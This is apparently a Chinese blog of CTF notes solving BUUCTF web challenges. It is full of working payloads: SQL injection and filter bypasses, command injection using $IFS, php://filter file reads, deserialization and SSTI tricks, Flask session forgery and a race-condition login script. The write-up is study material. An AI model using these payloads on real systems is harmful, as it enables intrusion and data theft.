BUUCTFwed


文章目录

  • 前言
  • 一、知识点
    • 无参数函数
    • SSTI模板注入
    • [PHP]MD5比较漏洞 弱比较、强比较、强碰撞
    • unicode欺骗
  • 二、做题解析
    • [极客大挑战 2019]EasySQL1
    • [HCTF 2018]WarmUp 1
    • [极客大挑战 2019]Havefun 1
    • [ACTF2020 新生赛]Include 1
    • [ACTF2020 新生赛]Exec 1
    • [强网杯 2019]随便注 1
    • [SUCTF 2019]EasySQL 1
    • [GXYCTF2019]PingPingPing1
    • [极客大挑战2019]SecretFile1
    • [极客大挑战2019]LoveSQL1
    • [极客大挑战 2019]Knife 1
    • [极客大挑战 2019]Http 1
    • [极客大挑战 2019]Upload 1
    • [ACTF2020 新生赛]Upload1
    • [极客大挑战2019]BabySQL1
    • [极客大挑战 2019]PHP1
    • [RoarCTF 2019]Easy Calc1
    • [极客大挑战 2019]BuyFlag1
    • [护网杯2018]easy_tornado1
    • [BJDCTF2020]EasyMD5
    • [HCTF 2018]admin1


前言

提示:这里可以添加本文要记录的大概内容:

菜鸡的笔记


提示:以下是本篇文章正文内容,下面案例可供参考

一、知识点

示例:等俺刷完再写

私有变量中的类在序列化后前后会有空白符即\0而由于是不可见字符会导致我们复制时丢失即需要自己手动添加%00

PHP的字符串解析特性绕过Waf:

在php查询字符串的时候或者GET传参时会将其转换为数组即

# /?a=ss   会变成  Array[a]=>"ss" 即变成一个数组做记录
# 但是如果我们改成 /? a=ss   它就会是a=ss而不是GET[a]=ss 

无参数函数

getcwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回上一目录
chdir() 函数改变当前的目录。
readfile()  输出一个文件 
current()       返回数组中的当前单元, 默认取第一个值
pos()           current() 的别名
next() 函数将内部指针指向数组中的下一个元素,并输出。
end()       将内部指针指向数组中的最后一个元素,并输出。
array_rand()    函数返回数组中的随机键名,或者如果您规定函数返回不				只一个键名,则返回包含随机键名的数组。
array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin — 转换十六进制字符串为二进制字符串
getenv()        获取一个环境变量的值(7.1之后可以不给予参数)
file_get_contents()  是用于将文件的内容读入到一个字符串

SSTI模板注入

放个链接慢慢看吧我也不太行没有怎么接触等以后慢慢补吧

{{handler.settings}}查询当前配置文件

[PHP]MD5比较漏洞 弱比较、强比较、强碰撞

https://blog.csdn.net/EC_Carrot/article/details/109525162

unicode欺骗

https://unicode-table.com/en/search/?q=small%20capital

ɢ G ɪ I ɴN

二、做题解析

[极客大挑战 2019]EasySQL1

在这里插入图片描述
点击后是此页面尝试万能密码后
在这里插入图片描述

flag{d998af85-ff56-4947-ad6b-aab85e8a426e}

[HCTF 2018]WarmUp 1

在这里插入图片描述
查看源码
在这里插入图片描述
后发现source.php文件访问一下

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
"
; } ?>

发现
在这里插入图片描述
接着打开此网页查看
在这里插入图片描述
得到提升flag在ffffllllaaaagggg目录中我们需要绕过将其打开
接着开始审计代码
在这里插入图片描述
$_REQUEST 传参为全局变量
empty 判断传参是否为空
is_string 检查是否为字符串
和上面哪个函数

    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) { 判断是否为空是否是字符串
                echo "you can't see it";
                return false;
            }  这个if语句正常逃逸

            if (in_array($page, $whitelist)) {  字符串查找
                return true;
            }   这个返回值为真即在此处结束即可

            $_page = mb_substr(   函数返回字符串的一部分
                $page,
                0,
                mb_strpos($page . '?', '?')返回要查找的字符串在别一个字符串中首次出现的位置
            );这一分是返回$page起始到第二个?的内容
            if (in_array($_page, $whitelist)) {接着查找
                return true;
            }  

            $_page = urldecode($page);  解码 URL 字符串函数
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) { 同上
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

在这里插入图片描述
在这里插入图片描述
看关键函数返回ture 后执行 include函数(这个在C中解释是预编译)他会执行$file的传参
然后我们进行查找ffffllllaaaagggg所在函数
命令:/?file=source.php?../…/…/…/ffffllllaaaagggg
①尝试 …/…/ (…/是返回上一目录)
在这里插入图片描述
进行N次尝试后 在 /?file=source.php?../…/…/…/…/ffffllllaaaagggg
在这里插入图片描述
得出flag{42237a1c-465b-4d2d-ba08-4f109a6108ed}

[极客大挑战 2019]Havefun 1

打开靶场
在这里插入图片描述
一直喵星人???

       <!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

查看源代码后发现一段代码 根据代码提示请求后 /?cat=dog
在这里插入图片描述
得出
flag{68201e55-d596-4925-af0f-fc1dc6bcc748}

[ACTF2020 新生赛]Include 1

在这里插入图片描述
点开环境是一个跳转接着点
在这里插入图片描述
查看源码也是啥都没有抓包后也是没有收获于是想到可能是文件包含的题用filter 协议

点击此处有相关介绍
file=php://filter/read=convert.base64-encode/resource=flag.php
在这里插入图片描述
读取后进行base64解密即可
flag{680b0071-ebfa-4c01-9589-0f443ed47ebe}

[ACTF2020 新生赛]Exec 1

点开环境是一个ping

在这里插入图片描述
输入127.0.0.1本机ip发现有回响接着输入 & 符进行后续输入
在这里插入图片描述
发现可以打开接着进行不断查找flag所在位置
cd 打开位置
ls 列出当前目录
…/ 返回上一级
在这里插入图片描述
打开该文件
cat 打开文件
在这里插入图片描述
得出flag{c6c89bab-5179-4bca-a09f-9f841d0a7eec}

[强网杯 2019]随便注 1

此题我做了好久这题做法不一姿势很多很骚
打开环境后尝试万能密码有回响
####### 首先查询基本内容
在这里插入图片描述
接着注入查看列库表的一些基本内容
1’;order by 3;#

在这里插入图片描述
查列发现有三列
1’;show tables;#
在这里插入图片描述
查表发现有两个表

1’;show tables;#
在这里插入图片描述

1’;select database;#
在这里插入图片描述

大致内容了解在当前 hahahah数据库中有两个表和禁用掉的相关函数
####### 接着查询两个已知的数据表
1’; show columns from 1919810931114514;#
在这里插入图片描述
发现flag 但由上面可得select函数被禁用无法查看
11’; show columns from words;#
在这里插入图片描述
查询第二个表
####### 由以上内容进行姿势绕过
####### 法①
一直当输入万能密码时该数据库的id字段会爆出来
在这里插入图片描述

       so如果我们将flag的列名换成id这样就可以爆出来
		需要先将words的表名换了再换列名
1';rename table words to B;
rename table `1919810931114514` to words;
alter table `words` change `flag` `id` varchar(100);#
varchar(100);原id是int型而现在的是char进行改变

在这里插入图片描述
输入后无报错即已成功将SQL语句插入其中

在这里插入图片描述
万能密码爆出flag{98f25409-1314-4bce-907e-79a464913fec}

####### 法②
通过绕过select 函数检测来读取flag
怎么绕过呢常见的绕过大小写 双写 拼接
而这个题就是可以采用拼接和大小写绕过检测
concat拼接函数然后再来个预编译试试

·1';set @sql=concat('se','lect * from  `1919810931114514`;');prepare qw from @sql;execute qw;#  
先于编译然后再使用

在这里插入图片描述
发现抱错set 通过判断可以尝试大小写绕过

在这里插入图片描述

得出flag{8999abac-75f4-4f99-9350-a6d8a01f59b8}

[SUCTF 2019]EasySQL 1

简单注入真滴简单死了反正我是噶了
在这里插入图片描述
打开输入1然后爆出一些东东接着联合查询啥的发现都不能用但是还能爆出一些基本信息

在这里插入图片描述
但是也没有多大鸟用最后还是看大佬的WP做的
通过大佬可知 源码可能为:select $_POST[‘query’] || flag from Flag
有源码可得: 当输入的值为 *,1 时语句为 select *,1 || flag from Flag
=> select *,1 from Flag 此处1是指新增一列而 *是所有 即查出所有
在这里插入图片描述
还有一种做法是将 || 入手将其从逻辑符变成连接符
即更改其SQL配置将其改为连接符
set sql_mode=PIPES_AS_CONCAT
即姿势诞生 1;set sql_mode=PIPES_AS_CONCAT;select 1
更改配置后重新查询一下即可
在这里插入图片描述
flag{687061d4-d5e0-4bb0-ae5e-4d759fcce69e}

[GXYCTF2019]PingPingPing1

在这里插入图片描述
打开后正常ping一下测试
然后进行其他尝试由于到打游戏的时间了此题长话短说总之呢你会发现他吧 空格符号禁用了还禁用了flag的每个字符

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 

上面可以替代空格的
然后接下来
/?ip=127.0.0.1|l列一下当前目录
在这里插入图片描述
然后尝试打开flag结果打不开所以打开另一个文件/?ip=127.0.0.1;cat$IFS$1index.php
在这里插入图片描述
发现过滤的东西,但是有个 $a变量可以进行参数覆盖

?ip=127.0.0.1;a=f;tac$IFS$1$alag.php    过滤
?ip=127.0.0.1;a=l;tac$IFS$1f$aag.php	没flag
?ip=127.0.0.1;a=a;tac$IFS$1fl$ag.php  	过滤
?ip=127.0.0.1;a=g;tac$IFS$1fla$a.php	有flag
?ip=127.0.0.1;a=fl;b=ag;tac$IFS$1$a$b.php 过滤
?ip=127.0.0.1;b=ag;a=fl;tac$IFS$1$a$b.php 有flag
时间紧急这一段是复制别人的(可用)

此题还能进行
在这里插入图片描述
这一段也是复制别人的没有亲自测试(未知)

这题还可以
在这里插入图片描述

?ip=127.0.0.1;cat$IFS`ls`    内敛执行
?ip=127.0.0.1;cat$IFS$3`ls`  即将ls以参数的形式在cat中执行
?ip=127.0.0.1;cat$IFS$9`ls`  注意ls是用`` 包裹的即英文的波浪号
?ip=127.0.0.1|cat$IFS$9`ls`  tac 与 cat 显示在前后的差别

[极客大挑战2019]SecretFile1

在这里插入图片描述
在这里插入图片描述

发现隐藏文件打开后
在这里插入图片描述
点击后发现直接结束了
在这里插入图片描述
怎么办抓个包试试
在这里插入图片描述
在抓包回显时发现隐藏文件打开文件


<?php
    highlight_file(__FILE__);
    error_reporting(0);  显示报错的函数
    $file=$_GET['file'];  GET传参
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";if语句不成立后执行include函数
        exit();       strstr() 函数搜索字符串在另一字符串中的第一次出现
    }
    include($file); 
//flag放在了flag.php里
?>

发现一串代码审计进行分析发现最下面表示答案就在 flag.php打开看看
在这里插入图片描述
发现就在里面可是看不到猜测文件包含用一下data也被了用伪协议base的形式输出
file=php://filter/read=convert.base64-encode/resource=flag.php
在这里插入图片描述
发现隐藏东东
在这里插入图片描述
解密
在这里插入图片描述
flag{db1b9ae8-1dd8-4880-808c-9d37dc2c98ce}

[极客大挑战2019]LoveSQL1

点击打开后尝试万能密码

1' or 1=1#

在这里插入图片描述
有注入但内容经过一系列百度解密发现没有卵用,回到登陆页面查列表

1' order by 3#  没有报错

在这里插入图片描述

1' order by 4# 有报错

在这里插入图片描述
得出此库有三列接着查表查库查字段

1' union select 1,2,3#   已知是三列所以是 1 2 3

在这里插入图片描述
查当前库版本

1' union select 2,database(),version()# 字段那个1 2 3写那个都行

在这里插入图片描述
得到库进行爆库表
1’ union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

1' union select 1,database(),group_concat(table_name) from 
#     字段           当前库    结果连接起来一行输出
information_schema.tables where table_schema=database()#
 数据库中的默认 .后 里面是所有 .后 名    在当前库查

在这里插入图片描述
查询发现两个表名进行爆字段处理
1’ union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’#

1' union select 1,database(),group_concat(column_name) from 
		查列			库		 连接一行输出
information_schema.columns where table_name='l0ve1ysq1'#
 获取所有列信息

在这里插入图片描述
1’ union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=‘geekuser’#
在这里插入图片描述

1’ union select 1,database(),group_concat(id,username,password) from l0ve1ysq1 #

1' union select 1,database(),group_concat(id,username,password)
	查列			库			一行输出
from  l0ve1ysq1 
		表名

得出flag{0f7f8f7b-e492-4e26-94e0-7f6f5701e9c1}
在这里插入图片描述
经查询另一个表是没有flag的
在这里插入图片描述

[极客大挑战 2019]Knife 1

在这里插入图片描述

这题就比较简单他是暗示 菜刀 ???正经人喜欢用蚁剑的不懂的可以百度一下
直接连接
在这里插入图片描述
连接成功真是白给
在这里插入图片描述
在根目录得到flag{87809b1c-7820-4bef-969d-fe879b42b685}

[极客大挑战 2019]Http 1

在这里插入图片描述
打开后很迷糊看看源代码
在这里插入图片描述
找到一个隐藏路径
在这里插入图片描述

给出提示你需要以https://www.Sycsecret.com网址打开我们通过抓包方式进行伪造
Referer 服务器伪造原理

在这里插入图片描述
回响提示需要浏览器了
在这里插入图片描述
回响显示需要在本机访问即伪造ip X-Forwarded-For
X-Forwarded-For 概念用法

在这里插入图片描述
得出flag{aeea856c-ed33-4b4b-8853-a0b5dcf0da21}
在这里插入图片描述
在这里插入图片描述
注意放置位置与格式

[极客大挑战 2019]Upload 1

在这里插入图片描述
一个比较标准的文件上传文件后不仅对文件头有限制对文件内容也有限制

BUUCTFwed_第1张图片

BUUCTFwed_第2张图片
在这里插入图片描述

然后通过测试发现可以用 GIF89a?(.gif的二进制头) 幻术头绕过然后就是


成功上传后BUUCTFwed_第3张图片

就是查找上传图片的位置了这个有两种方法 ①尝试默认存储图片的位置./upload/…②网址扫 综上得出upload/a.phtml文件路径

然后蚁剑访问即可BUUCTFwed_第4张图片

[ACTF2020 新生赛]Upload1

BUUCTFwed_第5张图片

正常上传然后抓包

BUUCTFwed_第6张图片

通过修改php常用后缀发现 .phtml后缀可以上传蚁剑连接

=BUUCTFwed_第7张图片

发现flag

[极客大挑战2019]BabySQL1

BUUCTFwed_第8张图片

尝试万能密码 1’ or 1=1#

在这里插入图片描述

发现抱错回响 ‘1=1#’ 发现写入的or没有了即or被过滤采用常见绕过方式

双写绕过  大小写绕过   代替

or 可以用 || 代替测试后发现此题可以双写绕过也可以 || 替代绕过

BUUCTFwed_第9张图片

查字段 1’order by 3#

在这里插入图片描述

发现or by都被过滤双写绕过接着 1’ oorrder bbyy 3 #

在这里插入图片描述

经测试4字段报错接着查字段 1’union select 1,2,3#
在这里插入图片描述

发现union select 都被过滤 1’ununionion selselectect 1,2,3#

BUUCTFwed_第10张图片

成功查到字段接着查询数据 1’ununionion selselectect 1,2,database()#BUUCTFwed_第11张图片

接着查表联合注入(被过滤掉的有or union select from where)

1' ununionion seselectlect 1,database(),group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#

BUUCTFwed_第12张图片

接着查询表

1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

BUUCTFwed_第13张图片

查到 id username password 字段接着爆字段

1' ununionion selselectect 1,database(),group_concat(id,username,passwoorrd) frfromom  b4bsql#

BUUCTFwed_第14张图片

得到flag{63f528da-4fd0-4eb0-aa04-733ca4d0c060}

[极客大挑战 2019]PHP1

BUUCTFwed_第15张图片

提示了文件备份然后尝试几次备份 www.zip www.rar

BUUCTFwed_第16张图片

然后www.zip访问到下载打开
BUUCTFwed_第17张图片

username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "
NO!!!hacker!!!
"; echo "You name is: "; echo $this->username;echo "
"; echo "You password is: "; echo $this->password;echo "
"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"; die();}}} ?>

BUUCTFwed_第18张图片

大致就是经过上面那个然后序列化出来再通过GET传进行反序化然后调用class.php如果成立输出flag,现在主要工作就是__wakeup()魔法函数如何绕过[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pQ0kndwZ-1668949577882)(C:\Users\17935\AppData\Roaming\Typora\typora-user-images\image-20221116204501431.png)]

在查过相关资料后发现解决办法绕后先序列化


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a=new Name('admin',100);
echo serialize($a);//输出序列化内容
?>

O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}

由上可知将属性数2改为3即可

playload:

O:4:“Name”:3:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}

通过测试发现不太行然后通过www.baidu.com发现 私有变量中的类在序列化后前后会有空白符即\0而由于是不可见字符会导致我们复制时丢失即需要自己手动添加

playload:

/?select=O:4:“Name”:3:{s:14:“%00Name%00username”;s:5:“admin”;s:14:“%00Name%00password”;i:100;}

BUUCTFwed_第19张图片

[RoarCTF 2019]Easy Calc1

BUUCTFwed_第20张图片

查看源文件

BUUCTFwed_第21张图片

发现它会将参数传入 calc.php文件我们直接访问该文件


error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?"); } }
        eval('echo '.$str.';');
}?> 

当我们正常传参数的时候发现它会报错BUUCTFwed_第22张图片

即我们猜测做了 waf 拦截了我们的请求即我们在前面加个空格就好BUUCTFwed_第23张图片

然后查看以下试试

BUUCTFwed_第24张图片

ok下一步就是绕过了

看过滤了那么多符号即无参数函数利用即可BUUCTFwed_第25张图片

然后查找到flag隐藏的位置playload:

/? num=var_dump(scandir(dirname(dirname(dirname(getcwd())))))

BUUCTFwed_第26张图片

然后读取flag即可playload:

/? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

BUUCTFwed_第27张图片

[极客大挑战 2019]BuyFlag1

BUUCTFwed_第28张图片

貌似没有发现什么东东BUUCTFwed_第29张图片

在这个看到点进去看看源代码在这里插入图片描述

需要是学生身份然后买flag BUUCTFwed_第30张图片

然后发现身份判断语句即然后再cook改身份BUUCTFwed_第31张图片

BUUCTFwed_第32张图片

然后是钱不够由于前面那个就是POST传参即我们直接改钱playload

password=404a&money=100000000000

BUUCTFwed_第33张图片

给出提示数字太长即我们采用科学计数法

BUUCTFwed_第34张图片

在这里插入图片描述

[护网杯2018]easy_tornado1

BUUCTFwed_第35张图片

点开后就是这三个xian在这里插入图片描述

直接头铁访问一波在这里插入图片描述

没有成功BUUCTFwed_第36张图片
在这里插入图片描述
通过这个可以猜出flag在filename=flllllllag&filehash=这俩MD5就能得出flag在这里插入图片描述

cookie_secret在tornado.web.RequestHandler中的application的settings中,也就是需要传参RequestHandler.application.settings。
但是这个没办法进行传参,真正的传参在提示里面,用handler.settings进行传参

通过render 再加上给出的cookie_secret可以判断可能存在SSTI接着尝试尝试{{24}}

在这里插入图片描述

说明存在SSTI注入{{handler.settings}}查询当前配置文件

BUUCTFwed_第37张图片

得出即对 /fllllllllllllag 进行MD5加密然后在合着cookie_secret一起加密

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="b3f1fb56-61df-41f8-93f8-d84f82da64bc"#会变
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

也可以在网上加密BUUCTFwed_第38张图片

playload:

?filename=/fllllllllllllag&filehash=b3967bbddc19ef0a69169e8f4dec1ea1
BUUCTFwed_第39张图片

[BJDCTF2020]EasyMD5

BUUCTFwed_第40张图片

查看也是让输入东东查也是什么都查不到举头无措抓个包试试

BUUCTFwed_第41张图片

发现我们输入的语句

select * from 'admin' where password=md5($pass,true)

会以此行形式进行查询 md5($pass,true) 而这个就不是一般情况能做到的需要让 MD5返回的字符串为 ‘or’ 。。。 这就会巨他的 看看WPBUUCTFwed_第42张图片

即输入ffifdyop
BUUCTFwed_第43张图片


$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
?>

采用科学计数法 a=QNKCDZO b=s878926199a

QNKCDZO	        0e830400451993494058024219903391
s878926199a	    0e545993274517709034328855841020
s155964671a	    0e342768416822451524974117254469
s214587387a	    0e848240448830537924465865611904
s214587387a 	0e848240448830537924465865611904
s878926199a  	0e545993274517709034328855841020
s1091221200a	0e940624217856561557816327384675
 <?php
error_reporting(0);
include "flag.php";
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} ?>

接着md5 由于md5不能对数组加密即 a[]=1&b[]=2

 <?php
error_reporting(0);
include "flag.php";
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} ?>

虽然是强等于但是还是可以过 param1[]=a¶m2[]=s
BUUCTFwed_第44张图片

[HCTF 2018]admin1

这题已知四种解题思路:

①弱口令爆破(可能是出题人失误不然这题有点不符合常规)

BUUCTFwed_第45张图片

点进去就一些简单的登录注册然后先登录尝试一下
BUUCTFwed_第46张图片

起初提示admin即我们登录即可尝试弱口令得出admin 123BUUCTFwed_第47张图片
就离谱然后我们尝试一下其他的在我们注册登陆后发现BUUCTFwed_第48张图片
即提示我们应该登录admin然后我们进行其他信息搜集在更改密码时发现提示[

即此框架部署在github上我们对其下载源码https://github.com/woadsl1234/hctf_flask/

②flask session伪造

下载源码后在登录页面发现他会把账号密码放在session里面

def login():#登录
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)#转小写
        session['name'] = name#猜测可以session伪造
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

@app.route('/logout')

接着我们在BUUCTFwed_第49张图片
config.py里找到加密私钥,我们通过抓包获取一下session的值

BUUCTFwed_第50张图片

python flask_session_cookie_manager3.py  decode -s "ckj123" -c ".eJw9kEFrwkAQhf9KmbOHGPUieLCsCbHsLoG1MnMRqzGb2ayFqDRZ8b93a8HjvMf7Hm_usDt11cXC_NrdqhHsmiPM7_D2BXMgoTymmFJezrQpBsqLXplNKrkeS7-ZKJNZGYpARvZRG5SpEy1WCfKyR1P3yIcgg0zIkNPGDRiWMzRRCWtGdr1K1z5eE20-HRnlFJeDFrZFVlbyuyNuG9quLYbIDrZVXMTsMnZnrHgzEFODaezfrhbwGMHh0p12129XnV8TtCgSmWeN2hY_FEOUZ16Jlomt-5umhUzQHK30OFWiDOjlFOvFE9f4fV29SMf0-mHKf-e899GAMYzgdqm6589gnMDjF0NPbXg.Y3n45g.9RMcxMv3DoiT-9wE__tbDQav7gE"

通过私钥解一下密

{'_fresh': True, '_id': b'd3fcf6dd9922db15562852e751a323e31282584814b01a81b73334e6d992c09a3332cb917bf33795de3d64288eb3a20df9bebac8278e6233052ac652f6bcb3ea', 'csrf_token': b'8240ab5b0f3cdaf49cf8dcf6834a7a2f8443bc8b', 'image': b'wkJM', 'name': '1', 'user_id': '10'}

BUUCTFwed_第51张图片

即上面可知如果我们将

'name' : '1'  ————>   'name' : 'admin'

在进行加密然后替换 加密

{'_fresh': True, '_id': b'd3fcf6dd9922db15562852e751a323e31282584814b01a81b73334e6d992c09a3332cb917bf33795de3d64288eb3a20df9bebac8278e6233052ac652f6bcb3ea', 'csrf_token': b'8240ab5b0f3cdaf49cf8dcf6834a7a2f8443bc8b', 'image': b'wkJM', 'name': 'admin', 'user_id': '10'}

BUUCTFwed_第52张图片

抓包重放一下得出flag

BUUCTFwed_第53张图片

③unicode欺骗 ᴀA

在审计代码时候

BUUCTFwed_第54张图片
BUUCTFwed_第55张图片
在这里插入图片描述BUUCTFwed_第56张图片

发现他在注册的时候登录改密码的时候都有对字符转小写这是不是有一些多此一举呢?当我们跟进转小写函数时候发现 nodeprep.prepare() 在版本查看Twisted==10.2.0

BUUCTFwed_第57张图片

然后在网上找到了一些关于此的解释大概就是说Twisted==10.2.0而现在已经18.多,但在这个版本中nodeprep.prepare()会对unicode中的 转译为 A 而不会进行转为 a 所以当我们注册账户为 ᴀdmin的时候在注册成功会变成Admin账户然而当我们接着进行修改密码的时候又会变为admin账户即我们再登陆admin账号即可BUUCTFwed_第58张图片

④条件竞争

这个没有我没能复现出来只说一下大概意思就是因为我们登录和改密都是没有验证的,当我们注册一个账户 A

进程一: A一直进行登录改密码

进程二: 一直进行注销登录,并且用 admin + 进程一改的密码登录

成立条件: 某一时刻进程一刚要改密码而进程二要登陆,就会将session name变为admin,change密码更改为管理员密码

import requests
import threading

def login(s, username, password):
    data = {
        'username': username,
        'password': password,
        'submit': ''
    }
    return s.post("http://7d0ea8a6-bf07-402e-931a-9ebeeab3d34d.node4.buuoj.cn:81/login", data=data)

def logout(s):
    return s.get("http://7d0ea8a6-bf07-402e-931a-9ebeeab3d34d.node4.buuoj.cn:81/login")

def change(s, newpassword):
    data = {
        'newpassword':newpassword
    }
    return s.post("http://7d0ea8a6-bf07-402e-931a-9ebeeab3d34d.node4.buuoj.cn:81/change", data=data)

def func1(s):
    login(s, 'test', 'test')#注册的账号密码
    change(s, 'test')
def func2(s):
    logout(s)
    res = login(s, 'admin', 'test')#登陆的
    if 'flag' in res.text:
        print('finish')

def main():
    for i in range(1000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,))
        t2 = threading.Thread(target=func2, args=(s,))
        t1.start()
        t2.start()
if __name__ == "__main__":
    main()

反正我没跑出来但是大概思路就是这样

你可能感兴趣的:(web安全)